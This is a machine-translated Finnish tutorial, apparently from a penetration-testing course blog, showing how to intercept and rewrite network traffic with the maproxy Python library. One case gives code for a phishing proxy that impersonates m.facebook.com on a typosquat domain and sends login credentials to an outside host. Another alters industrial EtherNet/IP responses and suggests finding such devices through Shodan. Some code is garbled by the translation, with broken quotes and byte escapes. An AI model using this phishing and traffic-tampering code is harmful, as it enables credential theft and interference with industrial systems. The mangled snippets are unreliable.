Käsittele verkon tietoja lennossa

Artikkelin käännös valmistettiin kurssin alkamisen aattona "Pentest. Läpäisytestauskäytäntö".

Käsittele verkon tietoja lennossa

abstrakti

Erityyppiset tietoturva-arvioinnit, aina säännöllisestä penetraatiotestauksesta ja Red Teamin toiminnoista IoT/ICS-laitteiden ja SCADA:n hakkerointiin, sisältävät työskentelyn binääriverkkoprotokollien kanssa, toisin sanoen pääasiallisesti verkon tietojen sieppaamisen ja muokkaamisen asiakkaan ja kohteen välillä. Verkkoliikenteen nuuskiminen ei ole vaikea tehtävä, koska meillä on työkaluja, kuten Wireshark, Tcpdump tai Scapy, mutta muokkaaminen näyttää olevan työvoimavaltaisempi tehtävä, koska tarvitsemme jonkinlaisen käyttöliittymän verkkotietojen lukemiseen, suodattamiseen ja muuttamiseen. se lennossa ja lähetä se takaisin kohdeisännälle lähes reaaliajassa. Lisäksi olisi ihanteellista, jos tällainen työkalu voisi automaattisesti toimia useiden rinnakkaisten yhteyksien kanssa ja olla mukautettavissa komentosarjoilla.

Eräänä päivänä löysin työkalun nimeltä maproxy, dokumentaatio teki minulle sen nopeasti selväksi maproxy – juuri sitä mitä tarvitsen. Tämä on melko yksinkertainen, monipuolinen ja helposti konfiguroitava TCP-välityspalvelin. Testasin tätä työkalua useissa melko monimutkaisissa sovelluksissa, mukaan lukien ICS-laitteet (jotka tuottavat paljon paketteja) nähdäkseni, pystyykö se käsittelemään monia rinnakkaisia ​​yhteyksiä, ja työkalu toimi hyvin.

Tässä artikkelissa tutustutaan verkkotietojen käsittelyyn lennossa maproxy.

Arvostelu

Työkalu maproxy perustuu Tornadoon, joka on suosittu ja kypsä Pythonin asynkroninen verkkokehys.

Yleensä se voi toimia useissa tiloissa:

  • TCP:TCP – salaamattomat TCP-yhteydet;
  • TCP:SSL и SSL:TCP – yksisuuntaisella salauksella;
  • SSL:SSL – kaksisuuntainen salaus.

Se tulee kirjastona. Nopeaa alkua varten voit käyttää esimerkkitiedostoja, jotka kuvastavat pääasiallista kirjaston toiminnot:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Tapaus 1 – yksinkertainen kaksisuuntainen välityspalvelin

Perustuen tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Oletuksena ProxyServer() ottaa kaksi argumenttia – yhteyden sijainnin ja kohdeportin. server.listen() ottaa yhden argumentin - portin saapuvan yhteyden kuunteluun.

Käsikirjoituksen suorittaminen:

# python tcp2tcp.py

Testin suorittamiseksi muodostamme yhteyden paikalliseen SSH-palvelimeen välityspalvelimemme kautta, joka kuuntelee 2222/tcp portti ja muodostaa yhteyden vakioporttiin 22/tcp SSH-palvelimet:

Käsittele verkon tietoja lennossa

Tervetuliaisbanneri ilmoittaa, että esimerkkiskriptimme on onnistuneesti välittänyt verkkoliikennettä.

Tapaus 2 – tietojen muuttaminen

Toinen demo-skripti logging_proxy.py ihanteellinen vuorovaikutukseen verkkotietojen kanssa. Tiedoston kommentit kuvaavat luokkamenetelmiä, joita voit muokata tavoitteesi saavuttamiseksi:

Käsittele verkon tietoja lennossa

Mielenkiintoisin asia on tässä:

  • on_c2p_done_read – siepata dataa matkalla asiakkaalta palvelimelle;
  • on_p2s_done_read - päinvastoin.

Yritetään vaihtaa SSH-banneri, jonka palvelin palauttaa asiakkaalle:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Suorita skripti:

Käsittele verkon tietoja lennossa

Kuten näet, asiakasta johdettiin harhaan, koska hänen SSH-palvelimen nimi muutettiin «DumnySSH».

Käsittele verkon tietoja lennossa

Tapaus 3 – yksinkertainen tietojenkalastelusivu

Tämän työkalun käyttötapoja on loputtomasti. Tällä kertaa keskitytään johonkin käytännöllisempään Red Teamin toiminnan puolelta. Jäljitelkäämme aloitussivua m.facebook.com ja käytä mukautettua verkkotunnusta, jossa on tahallinen kirjoitusvirhe, esimerkiksi m.facebok.com. Esittelytarkoituksessa oletetaan, että verkkotunnus on rekisteröity.

Aiomme muodostaa salaamattoman verkkoyhteyden uhrien välityspalvelimellamme ja SSL-streamilla Facebook-palvelimelle (31.13.81.36). Jotta tämä esimerkki toimisi, meidän on korvattava HTTP-isäntäotsikko ja syötettävä oikea isäntänimi, ja poistamme myös vastauksen pakkaamisen käytöstä, jotta voimme helposti käyttää sisältöä. Viime kädessä korvaamme HTML-lomakkeen niin, että kirjautumistiedot lähetetään meille Facebookin palvelimien sijaan:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/fi/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Yhteenvetona:

Käsittele verkon tietoja lennossa

Kuten näet, onnistuimme korvaamaan alkuperäisen sivuston.

Tapaus 4 – Ethernet/IP-portti

Olen jo jonkin aikaa käsitellyt teollisuuslaitteita ja ohjelmistoja (ICS/SCADA), kuten ohjelmoitavia ohjaimia (PLC), I/O-moduuleja, asemia, releitä, tikapuuohjelmointiympäristöjä ja monia muita. Tämä kotelo on tarkoitettu teollisista asioista pitäville. Tällaisten ratkaisujen hakkerointi edellyttää aktiivista pelaamista verkkoprotokollien kanssa. Seuraavassa esimerkissä haluan näyttää, kuinka voit muokata ICS/SCADA-verkkoliikennettä.

Tätä varten tarvitset seuraavat:

  • Verkkohaistaja, esimerkiksi Wireshark;
  • Ethernet/IP tai vain SIP-laite, löydät sen Shodan-palvelun avulla;
  • Käsikirjoituksemme perustuu maproxy.

Katsotaanpa ensin, miltä CIP:n (Common Industrial Protocol) tyypillinen tunnistusvastaus näyttää:

Käsittele verkon tietoja lennossa

Laitteen tunnistus suoritetaan käyttämällä Ethernet/IP-protokollaa, joka on parannettu versio teollisesta Ethernet-protokollasta, joka kattaa ohjausprotokollat, kuten CIP. Aiomme muuttaa korostetun tunnuksen nimen, joka näkyy kuvakaappauksessa "NI-IndComm Ethernetille" käyttämällä välityspalvelinohjelmaamme. Voisimme käyttää käsikirjoitusta uudelleen logging_proxy.py ja vastaavasti muokata luokkamenetelmää on_p2s_done_read, koska haluamme eri identiteettinimen näkyvän asiakkaalla.

Koodi:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Pohjimmiltaan pyysimme laitteen tunnistamista kahdesti, toinen vastaus oli alkuperäinen ja ensimmäistä muutettiin lennossa.

Ja viimeinen

Minun mielestäni maproxy Kätevä ja yksinkertainen työkalu, joka on myös kirjoitettu Pythonilla, joten uskon, että sinäkin voit hyötyä sen käytöstä. Tietysti on olemassa monimutkaisempia työkaluja verkkotietojen käsittelyyn ja muokkaamiseen, mutta ne vaativat myös enemmän huomiota ja ne on yleensä luotu tiettyä käyttötapausta varten, esim. Muraena, Modlish tai evilginx kolmannen kaltaisissa tapauksissa tai canape viimeiselle tapaukselle. Tavalla tai toisella, avustuksella maproxy voit nopeasti toteuttaa ideasi verkkotietojen sieppaamiseen, koska esimerkkiskriptit ovat erittäin selkeitä.

Todennusmekanismien testaus Windows AD:ssa

Lähde: will.com

Lisää kommentti